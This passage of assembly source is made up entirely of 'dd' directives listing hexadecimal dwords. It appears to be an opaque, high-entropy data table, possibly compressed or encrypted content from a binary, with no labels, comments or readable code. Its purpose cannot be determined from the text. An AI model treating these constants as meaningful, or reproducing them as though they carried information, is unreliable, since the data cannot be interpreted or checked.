0FD38B071h, 11EF340Ch dd 0F01C35D2h, 0FD14FA42h, 0B83C25ECh, 8E4F5B13h, 0EC3327D4h dd 2EBB703Dh, 452507D0h, 4FEC8253h, 0E41C9177h, 2566243Eh dd 0A488933Ch, 8A38F99Dh, 0FF528908h, 0E840F56Ch, 1CFAA40h dd 1174CC8Ah, 6D182D25h, 8D036ECFh, 0A1DC5E39h, 8459F78h dd 0AC6634EEh, 73FB80B0h, 3CC38B22h, 9E6BC72Bh, 54F4085Fh dd 0E416F9EEh, 7A8AC7FDh, 0BD6D5DB7h, 0AE087D9Bh, 3B0574B8h dd 4A77F0F1h, 0BC0F837Dh, 0ABC78B01h, 0B54AF012h, 57A69CFBh dd 0EB290C2Ah, 58C41210h, 0EAE48A5Bh, 0DFC4E2A3h, 52102252h dd 27872D6Fh, 0B24F5876h, 748627ADh, 44EAB749h, 8022FF68h dd 0C401DFCBh, 232C6857h, 6BAA3561h, 793B596Bh, 0E94AFB7Ch dd 0CDEBA716h, 83623F52h, 0EB223AFCh, 0FCFCF1F7h, 0FE41C742h dd 0E93FAE3Bh, 4A7B4503h, 0C8833C40h, 0F2AE6A98h, 0AA6386C6h dd 450AA30Eh, 92F8A25h, 6214EC02h, 238A0453h, 33EFD020h dd 991D1187h, 5730ECB8h, 49024137h, 0E8149332h, 84A764FAh dd 54A5BED6h, 0B407DEDh, 38B00DDCh, 80564276h, 241CDD0Ch dd 36D05035h, 981B9048h, 50CC682Bh, 4AA17F7Dh, 923AFD51h dd 68116A7Ah, 0EA93B133h, 0C07D1F8Bh, 0AE7BA4F7h, 0AE05BCF4h dd 0B70C90EBh, 46BF9A74h, 8E40A76Ch, 15E14F8Ah, 2A2277B0h dd 0F9E26F87h, 21F69C32h, 2402EA27h, 0BD0145E9h, 336C44E8h dd 0C42B9CB9h, 0AB6C3280h, 0B92BE941h, 4D838411h, 0EB44161Fh dd 575F2F31h, 4D72238Ah, 0BD898A51h, 0EB493412h, 0B6134BC6h dd 21FAC43h, 20B58966h, 0A0BBD9FDh, 274EF1Eh, 11278528h dd 227F1C90h, 5E66C98h, 0DD127525h, 0E95F4A66h, 77562082h dd 0B8C3D6D4h, 384AD4FEh, 0CEB89BCh, 0A1F3FE94h, 0E9429C1Dh dd 7822E54Fh, 9C8D31B0h, 5958A0DBh, 9A68CBD3h, 2F2CC0F2h dd 9A53974Bh, 0D6C93362h, 7E080190h, 6E158A10h, 300336FCh dd 3B410114h, 0F07C2109h, 996ED5C3h, 1489A95Fh, 7EC850A7h dd 8B72C195h, 384F1995h dd 0F270126Fh, 0BF320933h, 0BD2ED268h, 4C523D82h, 7A5D8B02h dd 0F68D4CDAh, 0AF5F226Bh, 7E045702h, 0D106B2Ch, 0AB3004C5h dd 69247886h, 4080A3AAh, 5589C20Bh, 16740C16h, 0EBFE93F1h dd 9959A831h, 85F918F7h, 6C670D2h, 0EB462C05h, 65854EC2h dd 3BBB00AEh, 8A0872F1h, 3F880E3Ah, 1CEBBD40h, 8B0B2080h dd 0A86555C7h, 1F939490h, 48340F0Bh, 8792BEEh, 18069021h dd 6160F20h, 654EFCB8h, 6F8CAC3h, 0E8C8F090h, 0D832E064h dd 0C09D019h, 629518C8h, 0AAABF723h, 0F099F556h, 0F802F406h dd 24A1FC01h, 11FB322Eh, 0FCF08684h, 9F833ADh, 14ADC4E8h dd 89C6D02Dh, 0E3590628h, 16BAE84Bh, 84FEE210h, 47260198h dd 0AB9A8D69h, 9CBE5A64h, 767D9F79h, 6CDE4E59h, 7EC4231Ah dd 95E649C0h, 0F41EF064h, 0D41B9D32h, 8E64FC08h, 69575349h dd 10B26ACCh, 0E5D6EC9Ch, 4B3049BDh, 0FE852706h, 8BF14A9h dd 5B76BA7Fh, 6871C9BEh, 0FE681054h, 1B77C8CBh, 62674F34h dd 339337CFh, 161F279Ch, 53649BE6h, 80FC3C9Fh, 0E46E8F8h dd 68672921h, 60766498h, 7032EB5Bh, 6AE5D1BEh, 0A4D64C4h dd 0F94E4F59h, 6818551Fh, 844618FDh, 6A2324F3h, 0B52C6065h dd 0B7243315h, 0BE130504h, 3714C008h, 197F0B66h, 49B4C09Bh dd 70A3F25Ah, 0D07DFD43h, 23660A72h, 85B73980h, 81266850h dd 0D258C532h, 2BDCAE54h, 0FC537124h, 5F25A2F5h, 6E9E0608h dd 0B12AE813h, 2BC24DBCh, 2C330C7Fh, 3885BB80h, 7B07A376h dd 0BF6DC892h, 212A10C4h, 10209686h, 0E39216C9h, 2E5E846Dh dd 21FB0427h, 1808E58Ch, 5E55BA97h, 90CEA0F3h, 9CD79DC4h dd 91CCB7C2h, 6151EBFCh, 0A8E0A4E6h, 4B59C08h, 0BB02708Dh dd 2A48D582h, 0A9571E0Fh, 1F380F14h, 0BD82F789h, 89AC8868h dd 534EF838h, 0F9126998h, 0C910494Ah, 4A3CD8FEh, 5C388043h dd 749B0650h, 755908C2h, 0A69C0CCh, 0B474B544h, 0C2E2DC49h dd 0B479049Ch, 6472A744h, 981DB15Dh, 0BAEC210Bh, 0B5824220h dd 0EB0FC157h, 0C4F51FA5h, 45198431h, 9C88FCE6h, 0DFAB18AAh dd 7FAC7D18h, 25644884h, 384C61E1h, 4CACD278h, 6487494Fh dd 68502176h, 644286FDh, 0A22D2E10h, 21E20AFEh, 3424A14Dh dd 5D27635Dh, 184C0F85h, 8CCD61F4h, 6C28ED9h, 99EF164Bh dd 84611AD3h, 0E9772CCDh, 0E3F89418h, 56D99997h, 59220B7Bh dd 0A198B6F7h, 0F37B4C1Bh, 4BE175Eh, 0B82498BFh, 0F06885C6h dd 62AE92DBh, 3D8BDD92h, 0D98362F7h, 0FEBC8BD9h, 0CBC314D7h dd 775CD7D6h, 60F9BB64h, 0F671740Ah, 44109E1Dh, 0C8BD8054h dd 75322EFAh, 2CE91212h, 9A44236h, 395E2E79h, 0E92B0D9h dd 1917A2B4h, 30C55318h, 1C6ADF17h, 6CF34F14h, 65865D27h dd 341CC82Ch, 0EA91D57Ah, 8FE936DDh, 2D0C0D52h, 0DEA77A69h dd 5ADE5244h, 47A7F64Ah, 32EA97AEh, 83FC4F31h, 8708A8CDh dd 681286FAh, 28FF7FD4h, 4A4AA134h, 0B41160A3h, 2B7CB1FAh dd 54A62808h, 0CF865652h, 8D8475B1h, 2C3EA08Bh, 25F9CEBh dd 86258DDCh, 12FF6423h, 0AB30EF5Eh, 0E139B1E8h, 741C317Eh dd 243200Fh, 0C8388297h, 273F2481h, 1717B4B6h, 0BE26EDE8h dd 8259D73h, 0A868532Bh, 289ADDADh, 0A457F1DDh, 5727320Dh dd 0D60AA75Fh, 0B0170B5h, 4D44ACA3h, 501B21C3h, 3488A091h dd 1946B062h, 0ABA80C18h, 2DA4BB1Ah, 364BE80Fh, 0C3ECCC5Bh dd 1411908Eh, 4ACA3C35h, 33BB98CCh, 574034A0h, 7984F27Bh dd 6FBF7FD6h, 0ECC51F3Ch, 0E00E1780h, 0B8F601DEh, 188E54A2h dd 65E80742h, 5EBEDA3h, 9C0425BFh, 8328429Fh, 34E11D3Dh dd 1BBC579Eh, 4FC86444h, 62804890h, 3B493FB1h, 0A233718Ch dd 0FE441049h, 8E738604h, 0CE45089h, 5D586D68h, 0A12CDD20h dd 6C32400Fh, 0E21BE40Fh, 2126E16Ah, 0F325CC16h, 54F820C4h dd 1E5BB438h, 0D46813EBh, 0E2A12D7Fh, 4A330847h, 3831A1F6h dd 5F164208h, 0F36830CCh, 11FF640Ch, 81D29A8h, 0E04AD335h dd 311130A3h, 0FFA4B443h, 14243864h, 9A60B68h, 6EFE5553h dd 2F714808h, 0E29DEBC4h, 0BCC255B2h, 0A4441F61h, 0E8436123h dd 0F352D68Dh, 417648A7h, 12348FA9h, 18BB59BEh, 5241A540h dd 2E2E82BEh, 8D1D5128h, 891C0D4Ch, 5051D010h, 509230AEh dd 1C377E60h, 0CB04E8C1h, 54091835h, 0DDE3350Fh, 0DCFF3B59h dd 72001056h, 7B836664h, 6C750508h, 15ADA850h, 292EE191h dd 73B44237h, 0E244E9E1h, 8B253D40h, 24686047h, 37088208h dd 878D127Dh, 0FA721857h, 89598163h, 5747490Eh, 44EB99ECh dd 2869B98Bh, 0CDC642A8h, 0D6FCC383h, 9B1180Eh, 337B9C76h dd 2227B4ADh, 495B5D4Dh, 0FD57C3ACh, 7C5D1E5Eh, 760A205Ch dd 0C74C595Dh, 9816410h, 6B5CAA1Ch, 0E135E834h, 846D0110h dd 447246DCh, 4C819741h, 428C721Bh, 8B0782C1h, 8EE69343h dd 881852FBh, 20083B30h, 9DADAD72h, 0DF19DE37h, 84F7546Ah dd 0E2EF74CAh, 648C501Ch, 7DB56295h, 0F07989D2h, 0A793D69Dh dd 99F5E47Fh, 0A455A74Dh, 0AC567B27h, 177B4822h, 10A53089h dd 33543E97h, 6224A021h, 0B2CAB9F8h, 0F8B670DAh, 1996F11Dh dd 4D055B51h, 0F0CA02DDh, 59E47FFDh, 0C24AF0B5h, 1EE9F6A1h dd 6AF0922Dh, 0F7F6971Ch, 9918708Bh, 0E67E4C75h, 35F02C81h dd 7FD04D42h, 231631F2h, 0CEB3BC8h, 0F625DEE6h, 1D54519h dd 5A16D414h, 0A4F3CC48h, 0EA2C1CFBh, 526D343h, 3257F4B5h dd 4684D34Ah, 5C1353AAh, 6E87120h, 921D93F4h, 32651317h dd 79C4682Dh, 0F3EFE816h, 30105C73h, 0F4E2CC84h, 0C1730347h dd 73F83B1Fh, 25C8EBC9h, 22AB6E2Fh, 0D448776h, 2DBC5BBFh dd 0A8DF756Ah, 622D19C2h, 0B91213F1h, 587B878Ah, 0D10C7CDFh dd 0E083E805h, 0A30A897Fh, 6CA411B7h, 0C4A30804h, 0B0893FC5h dd 0D7D5126Bh, 1840A208h, 8D55005Fh, 0C5343884h, 6C7813Fh dd 45BCA306h, 0C03D8916h, 229AF564h, 0EEF04B7Eh, 0E95F1773h dd 0DC2E5BC6h, 51964C70h, 0A5A72A22h, 0CEE46AACh, 0BFA21325h dd 0B4D2B75Fh, 5D8BA170h, 0C026C2BCh, 22FFD83Bh, 82A48395h dd 7C483D21h, 94D844EEh, 887F079h, 74407491h, 0B0558B78h dd 0E44D243Eh, 80896773h, 3BD023FCh, 6A4875E4h, 1ED1D72h dd 26516489h, 42A3D76Ch, 70F02444h, 0A4658343h, 56297DADh dd 24C63F42h, 76696B28h, 2CF212F2h, 0F3B9866Ch, 8AF6B29h dd 746217D2h, 1DC3DF30h, 12E8A047h, 60E106EBh, 73036424h dd 0A13B735Dh, 0C77F82A4h, 515C29BBh, 1EB15552h, 0D277CA81h dd 68650A6h, 4889FE33h, 0A389341Dh, 70383311h, 48E805E3h dd 9C74013Bh, 576D4041h, 59F86985h, 2B897BFFh, 5825908Ah dd 514FA7D7h, 39A5A114h, 570C6167h, 44980C8Dh, 4FE46BE1h dd 1308D2FAh, 0FD52BAA8h, 0E1624D64h, 922C880Dh, 0FF51C940h dd 0D066A235h, 0FD2FEB90h, 0A01D9F6Bh, 56D712E8h, 1AA1E755h dd 1A11B0BFh, 7DE61BF8h, 821425FBh, 0E8579130h, 6984AE7Ah dd 0FCBE511Ch, 1853CDAEh, 0FD25198h, 47EA2293h, 0AF1529E8h dd 72A89723h, 0EC95F454h, 0BF66BB50h, 0EABE5EA1h, 4089F9F8h dd 0A95AA303h, 0E8ECD030h, 0AB4C57CBh, 0A6C6BF7Ah, 261BA882h dd 0A4F08226h, 65BEEC97h, 76880512h, 8188BB38h, 118A024Fh dd 5588D284h, 8015EE60h, 75327963h, 20FAB10Fh, 0DF49F871h dd 2AFF7DFCh, 710A767Eh, 0C030F541h, 7206C539h, 1D324DCEh dd 53F20CCFh, 0F025EEA5h dd 42C421A4h, 18EB1C05h, 8C641A28h, 1831AA43h, 6181F486h dd 0F709DB9Fh, 1A46860Fh, 19C255E4h, 4045E216h, 3B7BE521h dd 3E64842Fh, 8DFAE53Fh, 0FBF37FDBh, 0E2222725h, 454BCCBEh dd 0FC7E83B0h, 187611B0h, 1376FCC4h, 2D1B75ADh, 925A3538h dd 81C269BDh, 9A4B10C6h, 5E5DFEB2h, 90D49A16h, 4AF6F175h dd 0E8BE13E4h, 0A2E79DE4h, 7C490BF3h, 0A8E04413h, 6AE405A1h dd 0F905B07h, 0E148F8E8h, 0A732AB3Bh, 0EE38C14Bh, 2FE4FD60h dd 8074FF33h, 0F73B0C85h, 0E9BEE4ABh, 0C9F5995Ch, 0A9F1DFE0h dd 0B2894713h, 0FCBBD304h, 8E780873h, 0BF4E1343h, 2F1608E2h dd 11627248h, 149DE3DDh, 111EE831h, 0F95B75C4h, 0FBE0857Eh dd 2685F6ECh, 180D663Dh, 6C02672Dh, 680F895Bh, 1B7040C7h dd 0F52D84FDh, 0D1DF4C3Fh, 5A7F371Eh, 7FCFA337h, 49CA7BBFh dd 0B858C374h, 0B4405A08h, 0EFA442A7h, 57B840FDh, 104AF669h dd 0BD328BCh, 5410D4BBh, 0DC7C8BEh, 48C5B6FFh, 95145488h dd 0DB33C520h, 0A90C73Bh, 935B8648h, 13FFB04h, 119CB7AEh dd 55FDFF8h, 663C7DA1h, 0BE21180Eh, 88BF9001h, 22CFC4B2h dd 612829A6h, 6822680Fh, 0EF0F6C35h, 5E846880h, 26E0458Eh dd 41BEB63Fh, 70BB9314h, 234381E9h, 0A4B6CF40h, 57D28C85h dd 0FD122357h, 2802343Bh, 868CEC11h, 37575710h, 44954C22h dd 7C7E24F0h, 420B2F10h, 8AC98348h, 27058428h, 0BA0D3C3Dh dd 0AC0A3F1Ch, 8040018h, 7A1F0FA0h, 0B55E8758h, 0FD107A86h dd 3AEB84A4h, 8A71F8AAh, 0E24B4B33h, 0F5160806h, 60F87752h dd 7714C2A4h, 91135725h, 2F682384h, 74C70FD0h, 94DE40FCh dd 9375056Dh, 49FA57E9h, 63119E89h, 0BB4A558Bh, 0F6ABF684h dd 59EC4EB0h, 2A0DC9A5h, 62D63924h, 7EFC1982h, 40B8EE67h dd 74183933h, 0AE050D24h, 0E83D4741h, 0EF00BD32h, 7431FF83h dd 0F74D8B4Ah, 56C656AFh, 0BFA62C3h, 2A655944h, 0EFC7A4B5h dd 0C73D1328h, 55624151h, 5115024h, 0AA78BA68h, 0F192EDB2h dd 15D7A5Eh, 9956109Fh, 2740DB38h, 66D7146Ah, 3AA02996h dd 0EA1CBCC8h, 46952C3Dh, 0DC4806DBh, 0C8762612h, 0C4258F97h dd 19670FEBh, 0FD37CF4Dh, 6A0B8BCAh, 81ADF466h, 0B89534FFh dd 90F03585h, 0B188B632h, 0C0B99986h, 5A1B84F5h, 8FD0ED82h dd 9A451067h, 5AA1A4EBh, 34891C88h, 0F1098B96h, 18C1F013h dd 0D5C62B58h, 72A978E8h, 103807ECh, 0A51D88F0h, 6015435Ch dd 4DDAC418h, 0E822EDF8h, 8DA402E8h, 0BF26FE76h, 7E8C44B4h dd 0B5031413h, 1FBD8C0h, 7F097425h, 45BAB9A4h, 4E2C2AE8h dd 0CF2084E0h, 8590804Bh, 0C008E5B8h, 8242D780h, 7E5ED077h dd 0A25C74D3h, 0C736C09Fh, 4BB99743h, 432EB66Ah, 7BB54524h dd 0DCC519A8h, 4E4E4D3Ch, 5FDDF9Fh, 71C9DE55h, 264B788Ah dd 61353317h, 65171B33h, 0DFD953ECh, 0DD72606Dh, 0A4F07198h dd 0CF863C52h, 0C832D44Dh, 808A8A46h, 38842BAh, 0D4B2E4D5h dd 76CF21D8h, 9A25D932h, 88976A19h, 0A9729F1Eh, 596B8426h dd 4131DCFBh, 214FFB92h, 43BE3C02h, 0EA7A4FFh, 20203076h dd 0A431FE01h, 468D1473h, 639EAD03h, 2A4ACB62h, 91282B2Dh dd 70B35FF1h, 0C1FA507Fh, 32F48037h, 8F09E8Fh, 0F4733BE3h dd 0E4A8571h, 0D41CEB1Fh, 0DA123C0h, 652042D8h, 2A41B120h dd 0FC885BC8h, 5B461572h, 50D448BBh, 26A59ADEh, 3F8AD090h dd 0E17DEB8Ch, 87426A90h, 0FAC4555Bh, 39EF859Dh, 5C6C8808h dd 0FDF15B42h, 28500B49h, 1EEB0AD4h, 548A36E8h, 658E49F4h dd 5146404Ch, 0E6618C86h, 7A8D0F06h, 58047FCh, 3E8137Dh dd 0E6753B4Dh, 803AEE8Dh, 15A4086Ah, 43AF9B92h, 49A7889Ah dd 0C9F41A24h, 113AA53Ah, 6EE814C8h, 0EB30096Dh, 220E911Dh dd 0AF3AAAF8h, 0B44F918Ch, 0F47D8943h, 0E87A9802h, 0DE3A4C82h dd 494D24B8h, 0CA5C8F54h, 9F16564h, 2146090Dh, 211E0B4Ah dd 48EB0AC0h, 39234239h, 427D1E61h, 209626CAh, 0CB22B842h dd 0D55F3E86h, 444AA6F3h, 0AB370DFAh, 118A7F75h, 3B56562Fh dd 0BDDD6369h, 0C67757D7h, 75397670h, 0B471F810h, 6C2E3DCEh dd 50E8064Fh, 0D84C63E5h, 74DB3F74h, 6175CA9Dh, 0AD2E391Eh dd 2B41C2BAh, 539360C7h, 36BA27E8h, 0E9101A25h, 24800CFFh dd 0E99AF230h, 1048237Bh, 42903410h, 88600C96h, 0C6310325h dd 3F5F2250h, 484BA906h, 0E3300822h, 3E2417DDh, 0C61C2131h dd 2E943B5Bh, 0D2A69213h, 4F07D018h, 7A26856h, 4BC07E75h dd 35F3AD10h, 0D0A9F3D6h, 0F3303A13h, 280126C5h, 7C7DC30Bh dd 0B07345E3h, 28A2B594h, 8A4E68F5h, 80310314h, 5740AFAh dd 750D0A0Ah, 0C0309104h, 6C83B41h, 0D233EA7Ch, 2A5F3B57h dd 264FCF86h, 2C753C80h, 7C2F3BDCh, 4CB506FDh, 0E740B0Ah dd 0A0D5FB81h, 890B7D48h, 434F0Fh, 0D03B4201h, 0F9F1DC7Ch dd 745FC00Ch, 43801756h, 71454B8Bh, 4DA2EDE8h, 92EDA278h dd 4FDCF83Eh, 14A82108h, 14045B9h, 8DABF345h, 20854778h dd 8B531F7Ch, 103BDF60h, 0A106048Ah, 3C212B9h, 4CFB4659h dd 1C8918F8h, 3B4B8101h, 5BE57EF7h, 0F04D993Ch, 3A042418h dd 3C8056D9h, 7C591D61h, 7F7A460Bh, 0C0022807h, 0C360E883h dd 26667F33h, 40100C38h, 0BCD7928Dh, 42646F71h, 284E8D2Fh dd 376B7B6Ch, 8951DC17h, 0B2D1EFF4h, 733F2B37h, 77A89416h dd 0FE8B4EC2h, 7A7E9D40h, 9ED0CC92h, 0C577377Fh, 0F496D8D4h dd 6807401Fh, 84995F97h, 0ACDCEE74h, 1F40A020h, 0F71DF72h dd 84EAF455h, 128DA84Fh, 7CE2BCAh, 81027E32h, 0E0F803C1h dd 2CE4FC7Dh, 488D95CDh, 842A4D08h, 7019D06Ch, 0F3555C89h dd 0CC4D1B28h, 0C1524D64h, 4FB07502h, 8E86EB4Eh, 0D7058CBBh dd 0FEC75A03h, 0B701022Ch, 148CE591h, 0D4C204A1h, 0E686590h dd 0EBD25016h, 0AD6CF3C9h, 46C41220h, 1F107158h, 80088A80h dd 7F301FF9h, 75090A05h, 88405B03h, 8D7148FDh, 0D01419A3h dd 81D0C72h, 5EB742Eh, 20E67C21h, 0BE50562Fh, 1BADEC2Fh dd 3A8FD2FCh, 37B22840h, 6E7EB784h, 4EB496Bh, 2AC9876Ch dd 249A8056h, 298F0A19h, 491C2D3Fh, 0F5AD6092h, 5CEA2657h dd 880CCA13h, 0ABC3221Dh, 5508248Ah, 1AD9287Eh, 0B01954BFh dd 401587A2h, 3BE81B80h, 644E74EEh, 8CAC6B12h, 6046A86h dd 43DBA8B7h, 0B7838934h, 860F831Fh, 653AF155h, 47C121Ah dd 5C362DE6h, 68015070h, 55F2A9C8h, 249CD3Bh, 961CC90Fh dd 716408B3h, 3AA25712h, 1C147893h, 0D7B6015Ah, 42E4F340h dd 27BE5AFEh, 51646508h, 0F02BC2F1h, 0BF730BDCh, 0BCD8EF92h dd 6C82034Ah, 6148ADECh, 27AACB2Eh, 0B2915DD6h, 5A9E7C4Ch dd 0F0CF33BAh, 7445F3C6h, 0A31DB320h, 6AD3E979h, 0A7F6EC3h dd 0FF5402EBh, 323E6CEDh, 369C1660h, 0F370E9CAh, 0A83E604Dh dd 7468C58Fh, 0EE88A42h, 0E3EA9313h, 35048605h, 0B1B3066Ah dd 24AA2BDFh, 64C6610Bh, 0B4BF0507h, 51E39087h, 6F0F74EBh dd 758424F8h, 84AE8107h, 59C49D8Ch, 482F3D8Bh, 8AF89C7Ah dd 55951D46h, 121B1692h, 0FDA00E10h, 0D1E4681Ah, 34DA8A40h dd 14C808B6h, 0A5715925h, 56EB6B59h, 860F8BEFh, 22A19ADCh dd 8F445014h, 233D9568h, 44D8A59Dh, 28C51986h, 0BA512BE3h dd 5657890Eh, 528D6AD7h, 0F6D9CCF7h, 1393BF31h, 10FEA8E2h dd 49E86247h, 0F97DD587h, 8411D1D7h, 57FFFEA4h, 0B4E40BBFh dd 0BB524B7Dh, 0B52D70D4h dd 8C2228CBh, 0BF504B9Ch, 29A40862h, 62A5C65Fh, 1274DA83h dd 1BDD1292h, 942E2946h, 0F1BB4824h, 5FE20C88h, 9C2E6233h dd 0A1CC51DDh, 786EB1B0h, 20A37E71h, 9EA68CBh, 2734948Fh dd 0FD5EAD90h, 8AFA9626h, 1ED34A01h, 0B9A85B33h, 60EA5B13h dd 3091E808h, 10A05393h, 5311D4B7h, 70C8BB10h, 0E562BF5Bh dd 445AFD55h, 0B42A1464h, 2F57DC93h, 2CC6C43Bh, 68312F60h dd 0A2439048h, 15BDF150h, 0AE49AA38h, 0BD4D9F7Dh, 30150E88h dd 38EB20CAh, 0BD8E53BFh, 0CBCA67EFh, 0F0AA4F28h, 32FE62E4h dd 0D4083A97h, 5F1C4214h, 25C0C3B9h, 0DDAB1A74h, 75041662h dd 60D8FA2Dh, 5B4FB20Dh, 7B83A239h, 167E1968h, 9550A47h dd 3498B6BEh, 72A93F05h, 0D37C680Bh, 5EB54EDFh, 0B55BAF0h dd 2DBC2238h, 0AC5F326Ah, 0BD40DE7Ch, 520C2E10h, 0A5265683h dd 1416F25Bh, 8F1151FBh, 86B2F508h, 8423EAE8h, 0C118C80Fh dd 0C7BED192h, 9C7DFB84h, 974B86E2h, 17D488A8h, 0F137533Ch dd 9B3C2EEEh, 0ED564E51h, 3243C450h, 0D479A5Dh, 0D4B5FE50h dd 0DB0C8D47h, 78AC390Ch, 9C4DDA3Dh, 77180DDCh, 92DEE84Ch dd 0F02B2EEFh, 0D6FA6BEBh, 10449594h, 4A0642F8h, 0C840348Dh dd 2E6C118h, 9270B6D3h, 55E7A96Ah, 50FF12C2h, 0C8FCB0E6h dd 7BA46C2Ah, 0BE0A9118h, 493BF9B0h, 0D698823Ch, 2D64EB10h dd 0B052CE52h, 5460685Ch, 8DE0EB3Dh, 23405504h, 293E56Bh dd 5E2C3034h, 0C4B8653h, 5EE33BD5h, 0EA531C12h, 823FCD83h dd 1285F90Fh, 848BFD28h, 2B60A75h, 0E6EBD81Eh, 79FE2D9Dh dd 0A3CA2925h, 8B5105Eh, 0F33BF041h, 9F3D4D79h, 7401F806h dd 3750A2Bh, 377E1718h, 4F7F060Eh, 94BEE832h, 7C155459h dd 16EB65C4h, 1FBB84D9h, 66495FC2h, 88869A80h, 27CC4822h dd 4857892Ch, 0FA975E07h, 4B1CACC0h, 3B0ED0B9h, 874F0FC1h dd 0E3BF8D95h, 0FB607E94h, 745A7722h, 0C88B3D4Eh, 3DEAE9B1h dd 0CE63C649h, 18220633h, 613E351h, 850F240Ah, 68164BEFh dd 0CAF09610h, 0E40AA0D7h, 8CD8995h, 0C34284CCh, 0B9109821h dd 0AF446C88h, 0A5111822h, 8178B016h, 74EF1C63h, 1BAE3325h dd 0A6B61106h, 0A1709C42h, 82148421h, 6449946Dh, 4374DD7Dh dd 24F27607h, 0F4F86F11h, 0B9E98B93h, 77B14C5Bh, 58746D02h dd 0F7DE888Dh, 11F976C8h, 0F0E60FAh, 4E4989B6h, 24861F41h dd 820F218Dh, 3D2B0689h, 36078180h, 7029C21h, 7B2882Fh dd 0E888281Fh, 90219F92h, 0C81A8F8Ch, 0E4134760h, 0F10C2304h dd 51391E0h, 8529C0F2h, 91A8AF7Dh, 712F8211h, 990A42D3h dd 6EE4149Ch, 0B828E555h, 0CBC3190Dh, 91D2DE88h, 0EE22E709h dd 89C4B644h, 24E012D9h, 0A81B52BDh, 1098008h, 0EA037402h dd 506C604h, 7650806h, 0B78C0806h, 0AE034B8Ch, 2499F164h dd 99E3C42Bh, 45148927h, 0F07275F4h, 3CF2965Eh, 0D2D0E28Fh dd 0A37E738Dh, 19AC5AE2h, 0D43368CEh, 30A6A03Fh, 9963139Fh dd 0F83B4CB5h, 84EAE37Eh, 0D27B423h, 0F6035A33h, 17A0618Eh dd 0AF78B58Dh, 64FFC73h, 6437448h, 812F3940h, 41B0225h dd 4070911h, 328C96BFh, 800CEF8Ch, 0FD740CFDh, 33F4FF0Dh dd 5033F45Ch, 0F44433F4h, 126EB3FAh, 0ECB22E51h, 53BE97Ah dd 27FC7684h, 389B58A1h, 3538223Fh, 26B58296h, 0A29CA9Bh dd 47288ED8h, 0A024C685h, 8C350F62h, 0A4FE3D66h, 2AF312CCh dd 0B4487FF6h, 3BFDC292h, 5B5EF682h, 0AAB63E72h, 0D5610C51h dd 8A8AB420h, 75620DCAh, 0EF02AF57h, 0F05D4948h, 48AEF4ACh dd 4DC1B901h, 70107D83h, 6A0239F1h, 0E1E85724h, 0C7D45634h dd 58AAEF2Bh, 981098Dh, 43EE164h, 0ACBE8B76h, 21C81CB2h dd 8B089714h, 0EB854F2Dh, 4EA75052h, 0A65AB438h, 0C6537F63h dd 426C8832h, 591196F8h, 2029600Dh, 1F8AB0B2h, 543121CAh dd 372252D4h, 271CC61Ah, 0F629C35Dh, 750B4F74h, 53544804h dd 9EC8BD55h, 7C4F3D8Bh, 0FF6A4242h, 32EB71BBh, 80F5283Ch dd 5F6D7ADh, 9AB460ACh, 75E88B01h, 0D801615h, 0FA5D510Bh dd 4429BE82h, 614CA323h, 0FF5572D1h, 72094635h, 0A150348Ch dd 5D2E5F0Fh, 20E5845Bh, 5C3830E2h, 7A7F5843h, 1115526Ah dd 0A41B8912h, 33CBE91Fh, 0A893AF7Ch, 9C7F2232h, 6583899Dh dd 4D82470Eh, 0E2D4FFF0h, 80292599h, 0E8E45484h, 5E26A31Eh dd 0FC2F12F2h, 0EE6A06F4h, 0A4026A8Bh, 88522851h, 0D0A26C86h dd 0A3BCE05h, 25DF02A9h, 8096ABD6h, 5E50BF93h, 1698248h dd 0F8056BD2h, 23F448Dh, 436FBA04h, 57910556h, 0A5195653h dd 6EEC6A88h, 0F856129Dh, 0DBB58E60h, 0AB124A03h, 5FAA0E83h dd 0B5099415h, 0CB2DC3AFh, 4E94555Eh, 144104BCh, 45A888E8h dd 0FF2A9A49h, 4E9255D2h, 0BB3F2D7h, 978868F0h, 0AE213416h dd 3D582F0Dh, 0AB63F05Ah, 0FC093414h, 0BFD0C4F6h, 5D232EA1h dd 90807822h, 0E9B8DE3Bh, 2CFB812Ch, 7435094Fh, 763091Ah dd 0B02A965Dh, 84A1D724h, 2F12F13Ah, 87B66A94h, 84614DCAh dd 0FC6DEB24h, 7D390157h, 8B5C7214h, 708DBE8Ah, 0E076178Dh dd 0B5221CEAh, 5CB8344Ch, 8FA8AF7Fh, 69528D68h, 85041C91h dd 4068EC06h, 0B41D5A48h, 0F25B7C7Eh, 0B02C08EDh, 621B9817h dd 0AC76B43Bh, 8279EA8Bh, 0ACB6C40Dh, 0FB20AA19h, 3512BF24h dd 530FBC09h, 0E9F2948Eh, 61EB9787h, 96DF3B13h, 1A28923Eh dd 74C7122Bh, 7C14FD26h, 81E13B4Ah, 0A0D22E28h, 14D1579h dd 19228DE6h, 308C85F7h, 31394117h, 0AF592A44h, 0F5367B26h dd 5203EB16h, 26A7FC30h, 5382FA20h, 1CB4B0BEh, 8981821h dd 48C52A5Fh, 62DC905h, 281C549Dh, 0E8218468h, 0CB371097h dd 0B0223014h, 0C0958DB4h, 0A6152122h, 0CE7BA522h, 244CF2BEh dd 0C031926Fh, 0BCDBFD9Ch, 274C9262h, 0EDDCF7A1h, 0AFEC3B87h dd 0F1CC5292h, 53256E35h, 23E44816h, 59EBB758h, 19DC083Ah dd 0E8385750h, 5B18A92Ah, 9B0C41F4h, 0C26A24ABh, 7B16FD4Bh dd 68918440h, 59B4FC08h, 0B1E62B04h, 1E23C85Ah, 58C87EA6h dd 0A606814h, 5320B6Ah, 0ED4CB68Ch, 6D889DF1h, 0F9FC4503h dd 179D34EBh, 30160BABh, 21C2C675h, 350D99D0h, 7D454129h dd 4214B782h, 21B156A4h, 0F456121Ch, 0B4A0735h, 8796E5E8h dd 0C70820Ah, 0CC03499h, 2B1E8A01h, 0C40ADC21h, 18AC7208h dd 908F28D6h, 3904F2B1h, 85AB0CA0h, 0D82D8644h, 48941040h dd 0B80A3825h, 137E44D0h, 994490EEh, 0A288FC0Ch, 80CB4107h dd 51241AFAh, 155A326Ch, 0B27C3514h, 0C5C3914h, 0A45852Fh dd 8E1C2B2Ch, 4214843h, 8709DF50h, 3821C739h, 0F927D988h dd 18230FB4h, 0AEC82490h, 0C8894354h, 320CE42Ch, 5E101583h dd 0F43830F2h, 58428498h, 471E33A2h, 90E42124h, 8708A82Dh dd 0D4C82891h, 102A0264h, 34E208DDh, 0D70CC039h, 0B2C82647h dd 0AC1C3C79h, 880AED86h, 1C387987h, 81438698h, 20145629h dd 0C85C432Bh, 3284E44Ch, 4356BC56h, 0EF40C831h, 2B2BCA30h dd 230F06F1h, 0DC5C9044h, 7DB5021h, 5F331095h, 